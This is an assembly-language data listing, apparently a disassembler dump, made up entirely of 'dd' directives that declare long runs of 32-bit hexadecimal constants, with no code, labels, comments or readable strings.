		dd 0F10931A9h, 225C12C2h, 0A8F0F9F3h, 345DBD4Ah, 38AAEF17h
		dd 0C8B41B33h, 0EEA3BD01h, 3F31D621h, 9D398020h, 0B2DCA2Ah
		dd 6257406Eh, 5708047Fh, 472667C1h, 617B4387h, 215A0B89h
		dd 5A826E38h, 0BBF774FEh, 4D794520h, 510A26B6h,	43980477h
		dd 0E92A82A7h, 62D57AE2h, 0C8657BF9h, 108B27B1h, 68F55B0Bh
		dd 0C03A74E1h, 250FF52Dh, 0F7972066h, 56536290h, 7AAC683Ch
		dd 0E5E96012h, 5A5F7FE0h, 0BA17BA05h, 3A1002FCh, 9A587C3Eh
		dd 16343D83h, 87645390h, 3243ABD9h, 0A2EE8502h,	40E9C4BBh
		dd 52BAC2D4h, 7DFC080Fh, 6235F2Dh, 7507B66Ah, 313872B3h
		dd 24379A2h, 0B61C828h,	5130E9AEh, 0DDFE01F5h, 2EE47CF5h
		dd 21588E5Eh, 7B5B58D8h, 22771031h, 95BF04C3h, 7084F00Eh
		dd 549729Dh, 98220BF6h,	0AC7AB52h, 4D61EA97h, 0C7701804h
		dd 0B2F94EE6h, 695C85EFh, 81C4F7E2h, 9D4EBFEEh,	0E52C901h
		dd 0D3DB491Eh, 34566BE1h, 0CC53BD5Ch, 2A2C1D0Ah, 91EA5397h
		dd 51464A28h, 6F1310D1h, 4D1062CFh, 8FBE3A79h, 44999827h
		dd 44AAA9B1h, 802B4902h, 0ED254814h, 7B5C7C05h,	5FECE8E9h
		dd 0EC54CD4Eh, 92A5A735h, 4C6E5525h, 42415695h,	0F3A538BBh
		dd 920987D8h, 0E16ACFECh, 0E30B2840h, 4C2E0FD4h, 88160120h
		dd 0EA305BFDh, 43FEB07Ah, 9230AC81h, 2A26417Fh,	0F46E63EFh
		dd 0F2AA12FCh, 0F279C046h, 4801C84Bh, 0EAB526F7h, 0BE02BBCBh
		dd 21FA571Dh, 0D7C6E2D7h, 0F6820959h, 5763F4ADh, 0E90F1C71h
		dd 8820787Ch, 4FCFEECCh, 2728B377h, 590BD451h, 0F913AF7Ah
		dd 508C0846h, 0C435227h, 16052807h, 83D7FB76h, 0AD4A85E8h
		dd 924256Eh, 0E7EEF011h, 576EAC41h, 0CDF758A5h,	0EC258Ch
		dd 5966CC25h, 0C83B093Ah, 2ADE3F02h, 0D0505902h, 20EB9004h
		dd 8F1ED287h, 0D164047h, 12539B0h, 558375A2h, 30D1D0F7h
		dd 0DF6B0238h, 153A76D1h, 0EF0FCF1Ah, 0AD2CC35Dh, 85FE5863h
		dd 0A0CBF86Dh, 151244BDh, 9ACDB366h, 245C55AAh,	5B36BBC2h
		dd 201CA886h, 595803AAh, 4FC04F45h, 3904327h, 0E2BB5335h
		dd 0E9C0B779h, 469F66E3h, 5A332078h, 0FDED8012h, 0AC4617ABh
		dd 0F6432FF6h, 254E79EAh, 23DD7E44h, 889C569h, 0EE338524h
		dd 83C543ACh, 2F75ED73h, 0D5A74A47h, 0EC3EAC85h, 0EC077B6Dh
		dd 0D6C48002h, 458E600h, 0A9E9126Fh, 10B6FD99h,	957E6B3Eh
		dd 0F702BD96h, 296FAF4Dh, 62552BC5h, 0F58A6082h, 906DF223h
		dd 242E922Fh, 890A8566h, 935F6C21h, 4A82C218h, 0BFD95440h
		dd 50AA1E8Fh, 3D0F9ABFh, 0BA461B85h, 0C7F8ED12h, 8EC880E4h
		dd 734E5C22h, 623A47F8h, 9C312041h, 185F167Fh, 5F6B42BAh
		dd 0C8FF781h, 7339BA16h, 121BE3Eh, 0F257C85h, 2BDF530h
		dd 64131E83h, 0C4D7EFE9h, 0B57E65F8h, 0A2DAEE5Ah, 4C42B410h
		dd 14BF4BC1h, 0E534F906h, 9DDB825Fh, 153CD9FDh,	0BA38A395h
		dd 247518Ch, 0F217BDF0h, 20EE8A37h, 2861345Fh, 0D290C152h
		dd 477A1FEFh, 25B6652h,	0C0D559C8h, 8615A230h, 3350B562h
		dd 82820961h, 32C67073h, 59F07FCh, 5A8747F2h, 68024EA4h
		dd 7C7C2C97h, 180E805Ah, 0BF0FFD78h, 80414CAh, 11F8EA59h
		dd 0A1A6BEE4h, 95A90650h, 0B90EBDC5h, 0A7EE135Ah, 324A5468h
		dd 0E0B4006h, 74B7E7E9h, 986900BDh, 7BE5813Ch, 706F0D37h
		dd 0EE1BA30Ch, 5DFE2C7Fh, 175EAF1Ah, 5688DCEh, 313AE42Bh
		dd 0D4D38825h, 568BC9CBh, 79C16DFh, 0B3536A04h,	0E97A514Bh
		dd 6BD5356Ch, 4AFE2830h, 48274CDEh, 0BF712384h,	1EBD2770h
		dd 1CFB242Fh, 0C900220h, 95D4A99Fh, 85CA5B13h, 0ED13E913h
		dd 1EEF0251h, 0A22E6F68h, 0DF22D0AAh, 0E22CDBC7h, 2F2BB303h
		dd 970C5F64h, 0FCEFC53Dh, 0E9F7874Ch, 5AC2257Bh, 0E45392AEh
		dd 0CF396CD4h, 0B1AD5E34h, 8CB10612h, 9A09CBEAh, 0DF1CDF40h
		dd 7413E8DAh, 40F18926h, 0F036E46Fh, 0D691C16h,	0C20368BDh
		dd 4A39C147h, 0FF02749Fh, 0A871A881h, 566E322Eh, 892E31ECh
		dd 78251BCEh, 36D59569h, 0F7B42075h, 802870E1h,	6817E571h
		dd 96301EDBh, 32E974B7h, 0E2517A18h, 16C091D6h,	980C5734h
		dd 0BB624066h, 1C3BA812h, 0C3AB12ABh, 135BAD86h, 230B09EAh
		dd 7327A854h, 108626D4h, 28293442h, 4E8AAFh, 7DEDD5EFh
		dd 0BFF989CAh, 20C4C4FCh, 0F2BA44EFh, 95DBE347h, 5C552D5Bh
		dd 81044B89h, 7BC8FAEBh, 0BDC040FEh, 1736770Bh,	0F529E074h
		dd 8EFD127Bh, 6E14C1E3h, 0C9D27F7Ch, 0BFE870CAh, 27DDE642h
		dd 7D89AD33h, 0B1FAE816h, 839CB35Ah, 9358B6D2h,	524E4127h
		dd 7FF1895Eh, 0BFE97F61h, 429CDDCEh, 85A10997h,	27825BDEh
		dd 0E3B5C027h, 33599511h, 0F147C08Ah, 3B0016Fh,	76F0CA2h
		dd 0C20DF05Dh, 0BFE1535Ah, 0F2010065h, 40B8AA5Eh, 0A67058DFh
		dd 9D4FF0A7h, 68044AE5h, 98D81663h, 0E8E9882Ch,	251D6B9Fh
		dd 45575CF4h, 506ECC69h, 747BB803h, 0BC400438h,	0C100AAEDh
		dd 0E94803E8h, 319D982Dh, 58FD8984h, 0F24CBCDh,	0D301807Bh
		dd 2F30EBEFh, 2AC982D1h, 23BE2562h, 0F980465Ch,	5712EC55h
		dd 0CE4409BFh, 55FE978h, 0CBE809EAh, 7006C048h,	66C789BAh
		dd 0BA841CD2h, 0F90094FAh
		dd 4CA4915Bh, 48E35A00h, 0D42EE184h, 7FCAAD38h,	0C95A20B5h
		dd 765C298Ch, 0DEF10561h, 0EB305299h, 0CE5A220Ah, 2C5BCC0Dh
		dd 0E405E82Ah, 5CDD4BBh, 0B8BA6886h, 3005D262h,	38C8448Ch
		dd 862F1305h, 407A0B37h, 0E628D123h, 826B42B9h,	54EEBA66h
		dd 261740BFh, 0F0CC9D2Bh, 0A3B535F4h, 92A1593Fh, 31655DC8h
		dd 484FF282h, 3B970103h, 85D670C7h, 34375Fh, 0A1099B5Fh
		dd 6796DF57h, 4BAEB095h, 7E325C1h, 0C1186B7Dh, 0C53B03E7h
		dd 978E80E0h, 6976A06Ah, 1A0262F8h, 4CE97571h, 0B00094Fh
		dd 7C6F320Dh, 0CEF798C0h, 25E9B8D0h, 14FDA4ABh,	5D6E0711h
		dd 0D5E9460Ah, 0EB5BA468h, 0FE30B6B2h, 0F78004CFh, 0F9281E92h
		dd 0E9C98E5Bh, 93D16FECh, 72A6741Eh, 77FF6489h,	0BA04F944h
		dd 319B3B50h, 0C429ADBBh, 27CA6121h, 5D7DF63Eh,	5F099BA6h
		dd 0B05FE889h, 8259C07Fh, 8357C37Fh, 619CD1DAh,	32C7107Ch
		dd 1CDF0B64h, 0B4B32839h, 4769551h, 3FC73116h, 8030B260h
		dd 6E667EAh, 7E2607Bh, 0D07BCAFEh, 2182E926h, 0FBFDBA7h
		dd 0D7DCF828h, 2E8BABBAh, 0E48C6812h, 384EB689h, 5B78FEB2h
		dd 5E2A098Ah, 548F1202h, 105731DDh, 0B83A9075h,	63083A6Ch
		dd 2D348A30h, 18B80261h, 1EDD28E6h, 2F0E04DAh, 0EE811E16h
		dd 0E587E97Bh, 7BBE292Ah, 0D81CEF02h, 0D7254271h, 65E93F21h
		dd 5F456FE8h, 4EB2849h,	3F1F0F3h, 25CD2158h, 752F5CEh
		dd 0B70FE0Fh, 8F6A641Ch, 0F65B6601h, 0C2A622D2h, 0FEB254E9h
		dd 0DC74A787h, 0A703AA41h, 80F07496h, 4416BD95h, 1974D82Dh
		dd 0B07E4D94h, 0E9174564h, 268CDE1Eh, 2A6141F6h, 0F10B48A2h
		dd 0D4D40668h, 6149308h, 0A37E8E2h, 0D656EA6Fh,	9686AFCh
		dd 27A608B2h, 0E2EDE91Eh, 0EFF675C4h, 0A832F070h, 1C6DB341h
		dd 0CE5AC580h, 0DD0DCDEDh, 6A0FD610h, 6908FD5Bh, 0E82817E1h
		dd 0ACF7BF3h, 0D38CFF04h, 0F8BA6063h, 7E850578h, 0A90CFF52h
		dd 0D45A27CDh, 1F11873Fh, 0AE98196h, 14212A1Dh,	0F72B22E6h
		dd 91D91822h, 92BB914h,	2938D652h, 173B65F9h, 75705BD9h
		dd 0B03A5F3h, 0E4683862h, 32C29333h, 0BEB51875h, 7D0BF4A8h
		dd 0B4207114h, 151960B6h, 214B6186h, 268476B8h,	0D3D5B4A0h
		dd 4EAE305Fh, 3D01CCE4h, 2FDA015Eh, 5D14B201h, 0F6387C96h
		dd 65053B00h, 0B098FFBFh, 0F729870Bh, 830BF55Eh, 47207058h
		dd 0CB8B8021h, 8048BD4Bh, 58269A8h, 0FC2403F0h,	52DAF144h
		dd 0FF5A8214h, 5C2D4B16h, 7AF6463Bh, 8B6B631Ch,	0A5A305FEh
		dd 5B38F3EBh, 0D28468F8h, 0CD31058Bh, 0B51D85A0h, 0DA403592h
		dd 0E2E52C3h, 761BAA3Fh, 5702D26Bh, 0FE1E9D71h,	20067B25h
		dd 7CE50B8Eh, 6BF02B21h, 3F2775E8h, 0B1635D3Ah,	4E7DECE4h
		dd 961CEFAh, 0F5423DE9h, 68D14A3Ah, 62E4E941h, 385828A5h
		dd 0A15C1095h, 3C2F9D3Ah, 53E82262h, 75018252h,	0E9AC17DDh
		dd 8E4D6E0Dh, 95038A20h, 83D84C98h, 882ED3A4h, 0A54FE62Fh
		dd 7388691Bh, 0EED71E9Bh, 35C7DF18h, 5F2CEF41h,	0B7A430E9h
		dd 48E1BF50h, 293BC009h, 654ED5F8h, 0E925189Ah,	0A13E76D7h
		dd 41394D28h, 2A721327h, 74871032h, 0C6F28150h,	0EC7FDC73h
		dd 0E9B597BEh, 0E1CCB6D9h, 10CCF6Eh, 83BCF125h,	2216FC6Ah
		dd 0C30BE330h, 820E520h, 7D27AC84h, 20FD47C0h, 679A10D3h
		dd 0DA10BC14h, 83685CC2h, 504B4CDCh, 2B7795D7h,	8E027D1Fh
		dd 11C262F6h, 91D45482h, 0C9A45457h, 922179DFh,	0BE424928h
		dd 42B7ABDFh, 25A1C061h, 199EB573h, 0E90A229Ch,	0E3A598C2h
		dd 0FB6B8961h, 7411E1FBh, 3A30D12Bh, 691F3617h,	53BBD630h
		dd 5D591C01h, 0A9302E2Dh, 0E7AB469Dh, 88D5802Bh, 9600BA28h
		dd 68565E6Ch, 871454EBh, 0EA76BA55h, 7FABAA52h,	0D8A84947h
		dd 0E8ADEC2Ah, 28D1F113h, 7C04D9D1h, 8D853F23h,	0DC31AEDAh
		dd 6A765455h, 53016B48h, 0D11E47BBh, 0D701300Ah, 7BF95A18h
		dd 2D3D3A0Ch, 53D83091h, 0B3859B7h, 0A9850C2Dh,	4B50AC09h
		dd 0F0BC39AEh, 6C0ECBC3h, 0D3014632h, 15761400h, 0B051E22h
		dd 28105755h, 0EB74D57Ah, 7DD13E1Bh, 0E47E00Ch,	0CA8F6F71h
		dd 6C1A1FABh, 99EE5FFh,	91464A5Fh, 7819F409h, 32DD0E62h
		dd 14B6B6DCh, 0ABEE2868h, 0BF353D12h, 0A86A4C3Dh, 0E865A918h
		dd 0B9C49379h, 0E3C10752h, 8D4E06BFh, 91CF48C3h, 7A5DF15Ah
		dd 85B46BF8h, 4513F5BFh, 55F2EE91h, 0E9D6F704h,	0B846A037h
		dd 0BC0BC609h, 0EB09C52Ch, 7624677h, 3719742Dh,	1CCD5041h
		dd 0A590771Fh, 55070550h, 5DFBBD00h, 83E9754Fh,	1A689DAEh
		dd 0C8B75843h, 80320E9Ch, 5D61EE09h, 0AEFD7EB1h, 2C3BE16Bh
		dd 51D05028h, 67957C98h, 8B66242Ah, 0B075534Eh,	9728AC3Eh
		dd 34711575h, 0EA1AFA21h, 6A6F7430h, 154040E3h,	81001CACh
		dd 5DC54BF5h, 5AF4E9C4h, 6E828971h, 10017DE6h, 0E93D081Eh
		dd 24E5789Dh, 0A60C52h,	2BEB82Ch, 865B753h, 4E5EFEh, 7CB443EEh
		dd 3977FE9h, 0BA1F2CE6h, 21B5EA0h, 787B6841h, 0DB9FA1F1h
		dd 0E2A67F4Dh, 0B8B5566Eh, 0E73E1262h, 67F2FD47h, 835AD403h
		dd 60ECC0F4h, 0CB28EE66h, 0A1327F0Fh, 17085C7Dh, 7389B902h
		dd 0EBADF04Bh, 5EE4DD28h, 0BBEB00BEh, 152F7B0Bh, 233FC9Dh
		dd 85E7A7Eh, 7815DF0h, 0DFF63F5Bh, 0A2623105h, 800AF238h
		dd 6C55B951h, 87859F0Fh, 0CB6BF832h, 0B9DF60C3h, 3114166Dh
		dd 83800B63h, 27058D91h, 0AC1810A9h, 0C37CA04Eh, 29C5061Ch
		dd 80B0F067h, 0B3895B08h, 95DCADB1h, 955236D0h,	9E0922E5h
		dd 0EB815EBDh, 8457AC02h, 63E997DCh, 0D3F7C19Ah, 6953DF68h
		dd 0BAB37E85h, 0C355568Dh, 33773281h, 93C6372Bh, 0AB040DB2h
		dd 0E49DA4F1h, 0AE39C5BBh, 580172E0h, 814BD5F9h, 0E463684Bh
		dd 0FE971035h, 0D05267F8h, 46AE5C4Bh, 5E95E92Dh, 0F1E58F88h
		dd 0C319E025h, 451676E4h, 2CBF3BB8h, 614BFBCCh,	682C2CFFh
		dd 1835262Dh, 2D145D56h, 30401394h, 3BC066FBh, 73855EAh
		dd 4DCA9777h, 881C080Ch, 6A3D2815h, 0F7683ED5h,	94E539Fh
		dd 6841D0E9h, 6F86EB8h,	354EF4Fh, 0E6E9B03Ah, 7969226h
		dd 0C9FE4EE1h, 2DE5FC0h, 0CF3071C1h, 0F47FFB60h, 2ACFFC7h
		dd 585A6E52h, 0E8FA95B8h, 2FEE741Eh, 3C4752EFh,	3AAD2736h
		dd 5514216h, 0E1F26B0Fh, 2D03E0C0h, 584865FDh, 0FF712673h
		dd 29665A83h, 0A8559BD8h, 9777C3BDh, 0B03D6A04h, 9F3868BCh
		dd 28BA4E75h, 0E0BC5EAh, 7745867Fh, 80B0662h, 0FE5D061Ch
		dd 0C05F32C1h, 2297487h, 26603CB0h, 0F8AF5D04h,	0BF0B9E8Ch
		dd 0D280B006h, 73E33337h, 0A5F1A76Ah, 786BB0Fh,	0D1158F4Ch
		dd 450D01C8h, 80F71335h, 79DBF596h, 27E929B1h, 0D220682Dh
		dd 1F895AB7h, 2B419FF6h, 0E057E16Ah, 0E89DDE3Fh, 3D2F8883h
		dd 0DD97795Eh, 258CFFE1h, 74475A80h, 7C04BA6Bh,	3FE89341h
		dd 98116D2h, 0F8F4D4B9h, 4B283B3Bh, 5AF78ABEh, 2E41E306h
		dd 5FF809FBh, 0C165C209h, 51D2F700h, 0B63502E9h, 0E57F4BF9h
		dd 0B87D257Fh, 9522E9E0h, 73F5FC62h, 9BF709ACh,	0E2239CD3h
		dd 9388C216h, 88E84015h, 0ED253A7Dh, 7F206AE7h,	0F59B98EBh
		dd 0E8F65BEAh, 0F631E62Dh, 401D41A1h, 0B8AAB3C8h, 0EB01F9B8h
		dd 109B5944h, 1021D301h, 63EC0814h, 0EF5BB21Ah,	0DF66E27Dh
		dd 2BE6D74Ah, 14E2D125h, 0BA520792h, 0C03437A0h, 82F231BDh
		dd 27A1734Ah, 0AF3B846Fh, 17946B3h, 41A30E5Dh, 8BD5F745h
		dd 77293B40h
		dd 6ECDA420h, 0CD98613Dh, 0F2410B2Dh, 9E5097EBh, 0ED303E7Bh
		dd 0C4F14D2Ch, 86B41303h, 8F5DAA05h, 0E628E144h, 0E9160EEAh
		dd 0BCFA336Bh, 0A2861B4Fh, 9C5F9792h, 350E204Dh, 0D8ABA00h
		dd 0C6BB187Fh, 47A32F11h, 96C59402h, 0DF72E85Ch, 265DE11h
		dd 1EC5C53h, 491223F2h,	19D6158h, 25E0E907h, 0C2BD3068h
		dd 8F49CD98h, 46B80BCEh, 0D7B0036h, 14377CC3h, 0DED8F720h
		dd 0DE5F885Bh, 0F4B56270h, 747D7ACAh, 0FD5483A3h, 0C3B198C0h
		dd 45B0F84Ah, 378AE916h, 0F8579F28h, 0B93D5B5Eh, 3DC2B4FDh
		dd 97EFFFF9h, 4A45201Bh, 7ECE96B2h, 0EF0F8D02h,	82EB2938h
		dd 55A34ECAh, 0E62E1FCh, 0BD16CE47h, 0B25031FCh, 7AD33752h
		dd 2CAD5076h, 6620E985h, 6E86A0C4h, 8D6A94D4h, 3F19DD0Eh
		dd 1E7FCFA0h, 0FF296077h, 0CDBE3318h, 131E4EEEh, 0ABC9039Bh
		dd 8CB25556h, 0AC7B4885h, 942AC92Bh, 6054F455h,	413B1526h
		dd 813B62EEh, 144297E7h, 81EB1CB1h, 43340E09h, 0CAD57EE9h
		dd 0AF25579Dh, 0B4D5AD09h, 9206D4BCh, 0F474AE16h, 7D1690F0h
		dd 73010650h, 11F7033Fh, 0A1D21321h, 7DF86884h,	6CC48C3Ch
		dd 8ABB13CAh, 0ABB61E1Ah, 4549E19Fh, 4FDCC471h,	0B07CAF55h
		dd 2F5827E9h, 0E414FCBAh, 12795252h, 8856AAE9h,	37C41AFDh
		dd 45D01725h, 0F777083Ah, 6948F843h, 0A4C2EDDh,	0C4B6DC9Fh
		dd 8C2FFA53h, 0C355E24Eh, 730821E9h, 9EC1482Ah,	7FD18125h
		dd 48D84104h, 4AB4F7F4h, 9ECEAA5Dh, 4F2DBD00h, 56E96299h
		dd 0E148DE97h, 4050EF01h, 294F1F8Ch, 6CB87A03h,	0F4AF5FFAh
		dd 22001985h, 120D645Ah, 6DC75829h, 934B910h, 0D65B8A68h
		dd 0D98B6778h, 401259DDh, 0B0669868h, 585A5C2Fh, 4CFA3367h
		dd 0D607CF83h, 2DAE2CDDh, 80E1B6DEh, 6D6CAB3Eh,	0D1272FE9h
		dd 0C5CFDBD9h, 8AA847DBh, 0CA48EBF4h, 4A6B285Fh, 2A9EF1ECh
		dd 0E9BD6CAEh, 3CB0EA5Fh, 0B773BF52h, 2E335606h, 8DD92022h
		dd 2CC0DC95h, 10DE5AA2h, 834B6958h, 5C59E881h, 0AE256876h
		dd 0C24F1915h, 0AD01A23Ch, 0FF532205h, 0E6602F5Ah, 3F941C9Fh
		dd 0F3CDE978h, 3540007Ah, 0CD812DD3h, 2EE615C1h, 1E06AEB8h
		dd 451BA333h, 2BF21D0Eh, 602E56Fh, 3340A13Fh, 8FCE4318h
		dd 0F849E9F0h, 515026A0h, 2A7C09E2h, 0BF01B959h, 289F38E5h
		dd 132CD270h, 0B2325C51h, 3163C0F7h, 0B4213808h, 1C678501h
		dd 0D501BFC3h, 0BDE9F4DFh, 2FA7F16Eh, 0B10858Ah, 26523472h
		dd 93586DE8h, 0BFF489B2h, 22A25317h, 1707FAC4h,	0C327E0A8h
		dd 3C2A31C4h, 0D0B0E62Dh, 0FE886B45h, 0F627D20Ch, 0F82B97BDh
		dd 203FD475h, 68510349h, 0DF45B06h, 582931D9h, 165F7CE2h
		dd 0EB6734AFh, 592CE89Ah, 56F30F25h, 348B462Bh,	0EA077972h
		dd 4B095829h, 2F3BB2h, 39B615B7h, 0E0EE801Ch, 5E0BFE13h
		dd 78E6DCBCh, 0D19F7F84h, 7BBD8802h, 69A1768Ch,	18873BCFh
		dd 0F7007DBBh, 143E4E45h, 549F3B68h, 0B8504239h, 4B2E70DFh
		dd 0ECB05231h, 58282003h, 20041E5Eh, 172124Ch, 113C3243h
		dd 1E0C0C83h, 0D8001093h, 768B411Fh, 0AA1D2868h, 8C93F532h
		dd 525FFAA2h, 0CEA0B58h, 9B8221F5h, 8000CE94h, 3BC08CC4h
		dd 0EC1E06E4h, 3FF47FC7h, 0C13CE128h, 0F126D9CEh, 0F4E62FC8h
		dd 1B7F914Fh, 5E7A0843h, 72F0988Fh, 2B40D34Fh, 250D88CEh
		dd 0B25FF870h, 409A8298h, 0C94D2E8Eh, 19566916h, 0FDDA7549h
		dd 26157320h, 5708149h,	0EB1D559Dh, 82EFE012h, 797FD327h
		dd 4E561900h, 0DC742B2Ch, 77A55B09h, 2CE3C610h,	88404582h
		dd 6805CD6Ch, 32AA1F4Dh, 0D7805058h, 670B7205h,	9277E918h
		dd 0B07DB32Ah, 31584104h, 0F0A52E12h, 55F5B331h, 965479ADh
		dd 3B3B5BC9h, 4FFEF12Dh, 0C08EE989h, 0A4FF66DAh, 14EB2C88h
		dd 3B0951EBh, 641D31FAh, 0B52489D8h, 29A08F96h,	5F04F01Fh
		dd 0E3D6E853h, 0D83C6189h, 6E7D66C1h, 554575C2h, 0E9531DDEh
		dd 0B52279C8h, 89781C00h, 48916850h, 63986CBEh,	126FC1CFh
		dd 0BB40F32Bh, 0D06BA0C2h, 807D9D4Eh, 0F6E1C67Ah, 47BEFCFh
		dd 0CD01851Bh, 0F0D7301Ch, 376A5817h, 7281A1ECh, 7040B760h
		dd 3D004A81h, 0EF09733Fh, 0C052F8E9h, 7F6EF57Bh, 39F6508Eh
		dd 0B9000DB6h, 2E9D447Bh, 59CA2D29h, 0BA0ACD6h,	681409A1h
		dd 1FE14F00h, 326C68E1h, 0DE71EC4Bh, 0C526D7h, 5F608ABFh
		dd 0EE4E11E8h, 38C35F31h, 89688C6Bh, 0ACA4E642h, 8A512655h
		dd 79AE0117h, 703297h, 261944CCh, 800713E9h, 1B4FB868h
		dd 418159F9h, 7B1DCB73h, 0EEA205E8h, 2E05E349h,	21B23BBCh
		dd 559209FFh, 48B55BB1h, 87129BB0h, 9E85A2EEh, 5602D382h
		dd 0BD9E39EAh, 23AC3E7Eh, 0D074C436h, 0CA02DC2h, 482EF203h
		dd 0F205E0C1h, 28B15EC0h, 3EA72EE9h, 9F026981h,	68012E1Dh
		dd 316A4E11h, 6842CE4Ch, 588CD5BBh, 78DC126Bh, 0C38086B2h
		dd 18766353h, 0D8072498h, 296C101Eh, 0C945E9C2h, 7A795B64h
		dd 2F544099h, 3E1517A7h, 9B15BC0Fh, 0B43F4A53h,	0E6B301F8h
		dd 0D007E3C0h, 50BD2AEBh, 5C48E9B0h, 2D5E16C4h,	0ED80B1FBh
		dd 0A5502EC9h, 18FD4EEEh, 9049BD83h, 4D34E810h,	0FA475A2Dh
		dd 0CEBAFDADh, 681518D5h, 2F60A444h, 0BB81DFE9h, 71886CB0h
		dd 3FA2344Dh, 3390194Eh, 0E7763E01h, 29CF827Bh,	59CE765Dh
		dd 5BBC6EC3h, 0B86EB741h, 0FF18696Ah, 0BD04EBEAh, 0B9CBB008h
		dd 300E840Bh, 2F80BADh,	0D54A32BFh, 4277F10Bh, 0E90B0213h
		dd 5CE2552Eh, 0FD6B4279h, 33E9D690h, 25144A6Ah,	0E943CF0Bh
		dd 817AC183h, 0DD5E589Bh, 0E9C389EFh, 7684D8ACh, 40814F5Fh
		dd 4106C263h, 0E09545E1h, 2F138660h, 5754319Dh,	0B005760Bh
		dd 252B93EDh, 0DEC847EDh, 7595E1F7h, 6BB13799h,	0D5411209h
		dd 0C0B5304Ch, 2D4892E4h, 97DD0140h, 0A27D2770h, 0FF11CF2Bh
		dd 15A4AB5Bh, 8A400910h, 0F1801E07h, 2E78DDACh,	152657Fh
		dd 0BF5191EFh, 8BD4345Ah, 81121B9Eh, 0E0EF6FC5h, 8A640BC4h
		dd 0FF823118h, 0EE707A51h, 5CE87A45h, 1B2045CAh, 0D6C10176h
		dd 744E0D5Dh, 1921C641h, 816B243Ah, 8159AE80h, 0FCB53512h
		dd 0BC6A4DE7h, 0D9077369h, 297DE56Eh, 8044A9Dh,	413F04F4h
		dd 0F6A07E57h, 54FD403Ch, 6DB3585Fh, 0D29CEF95h, 6F6AD9E2h
		dd 875702CDh, 4A236830h, 0E0715A5Bh, 0FD2214Ch,	12DDC2AEh
		dd 0B9F31B4Ah, 10167309h, 2C37B621h, 944752E5h,	0E90908EAh
		dd 84549993h, 87B9069Fh, 38517658h, 0A4E58029h,	0C020707Ch
		dd 3498EF5Eh, 0E93EF7D5h, 0ECB74BD8h, 0A82DE124h, 89394960h
		dd 428EFE4Eh, 27DEFF4Ah, 4A8AE90Ch, 0EF02EAC1h,	8921CC20h
		dd 0F10F40D6h, 0F75A9F5Eh, 5E1E25Eh, 9366B66Eh,	1AA3D004h
		dd 0AB685500h, 445BED21h, 0E0BE7C35h, 615E9859h, 11504CE7h
		dd 277BF97Ah, 2DD830B6h, 0CC124353h, 31FB5B35h,	64B76672h
		dd 5141E11Ah, 491242h, 745EE781h, 781E0927h, 0E89001ABh
		dd 0A4E975DBh, 2DAB2DF4h, 594C0558h, 0EE93D9EDh, 0FA4EF6DAh
		dd 123ECE96h, 0F8110AE9h, 4557CFC9h, 9DA433F1h,	23E4155h
		dd 1EFE218Fh, 3FC5D527h, 0C65CAE3Fh, 2A2C6698h,	3CDD68Ah
		dd 7E0B0543h, 7769C0B7h, 494F11FEh, 0B34BD1E8h,	0FC213CEh
		dd 44F0ED4Ch, 546940B9h, 68535E12h, 34F90904h, 89F83AEh
		dd 7D2AC013h, 16F535F4h, 5995896h, 0BF3291D9h, 0B52980D8h
		dd 9CDFFE09h, 0A80E200Eh, 6347BE0Ch, 0B59E5CB9h, 0EA587B04h
		dd 18F1AB10h, 8429A9E2h
		dd 13382E56h, 16202481h, 83B0E1BCh, 3041F5AAh, 4AEBD971h
		dd 0BB591692h, 0EBA243B3h, 0E9652777h, 39FC7AC4h, 973DFDC6h
		dd 5D7565B8h, 0E028574Eh, 75993F68h, 0D580380h,	5477572Ch
		dd 3BB92D3Ah, 23F0CB7Fh, 304F4B72h, 436E95DFh, 1E80064Ah
		dd 30EF4D63h, 0A1AC454Ch, 3460AA08h, 24D0F50Eh,	0E98C12ABh
		dd 68C24012h, 16DE5ECBh, 0D12D2E92h, 0C3BBA24Dh, 224E902Eh
		dd 2B301613h, 0D700EF58h, 78D7903Eh, 2CDB5DE9h,	0D29EBA1Eh
		dd 0B875071Ch, 53D5A91Dh, 27E961E2h, 70346A95h,	8D1D9952h
		dd 28C27C1Dh, 5732B0E9h, 0F985712Fh, 5734AB38h,	17FA75CCh
		dd 45AD787h, 0CE0DA62h,	6F070E53h, 18A07D09h, 56EAD350h
		dd 13BA685Ah, 15B1BFA6h, 27A7D3FFh, 53C04738h, 531FB6E7h
		dd 259219BFh, 2E68DE43h, 83C1101Fh, 0E1800E94h,	0ED537E69h
		dd 1639D10Ch, 58C32409h, 7BD4098Ch, 3365AFF4h, 0EB4E1DE8h
		dd 5F212B70h, 14C0A01Ch, 0E038940Eh, 4CD4BF57h,	782BCA2Fh
		dd 0C7A9C077h, 1EEA1522h, 0B8BA5202h, 0FF1467BFh, 38617CE1h
		dd 0B951011Eh, 262F1034h, 916A92Dh, 4126200Bh, 0AF4A9F90h
		dd 2F15D9AEh, 22BE14C1h, 3E71A32Bh, 0E53A6940h,	0FB0913AFh
		dd 0E2F03977h, 4C7E5FA3h, 3B4CFB72h, 0AA705213h, 4B12D844h
		dd 9453AA16h, 8233B028h, 0E42B3F42h, 9D3546FDh,	2F5E329h
		dd 5FED0D0Dh, 0E425A073h, 0AC8F205Ah, 1D98A482h, 0FEBF89DFh
		dd 1F0D00DBh, 0DBF77D0Ch, 66931D91h, 556BB3AFh,	0D8E66BDDh
		dd 0E9C70297h, 444AC3B2h, 0E72969FFh, 986A9FA6h, 25148A5Dh
		dd 471E5E76h, 72670B68h, 0F4775BE1h, 0CDB03898h, 0C9F92D5Dh
		dd 9D2358B9h, 2B2AA96h,	80698095h, 4830D2F3h, 641C2CD9h
		dd 125D274Eh, 4CB0D50Eh, 0B88099B9h, 0E364099Dh, 0E4828916h
		dd 0D477D5F7h, 0F10293F0h, 6C0F8CF9h, 0BCEB5540h, 0CD8476D9h
		dd 0E921B09Dh, 263F6954h, 76CBCE7Ch, 553A627Ah,	0A561675h
		dd 597168C2h, 0BB5360CEh, 1C3B2205h, 6DE9094Eh,	0A0881044h
		dd 0FAF2125Fh, 130CEC56h, 0A30F216Ah, 52686F6Ch, 0CC252BE8h
		dd 0A2A0FCD1h, 0FFCD5733h, 81EC0114h, 9417CE5h,	85042015h
		dd 9DA20AFAh, 0B522407Fh, 625D9C7Ah, 59052545h,	7B101DA6h
		dd 41BD7030h, 5401C81Dh, 0F208305Dh, 0ACEB1AA0h, 7696091Fh
		dd 29D2F012h, 7F7857EDh, 81BB0CD2h, 30FD018Bh, 8080776Dh
		dd 303A2DF2h, 883F2BC0h, 0E258C72Dh, 0DB89F7E4h, 58806309h
		dd 0F62C59CEh, 474F0FCh, 0D0AC30D7h, 9329B06Fh,	2C4C4F1h
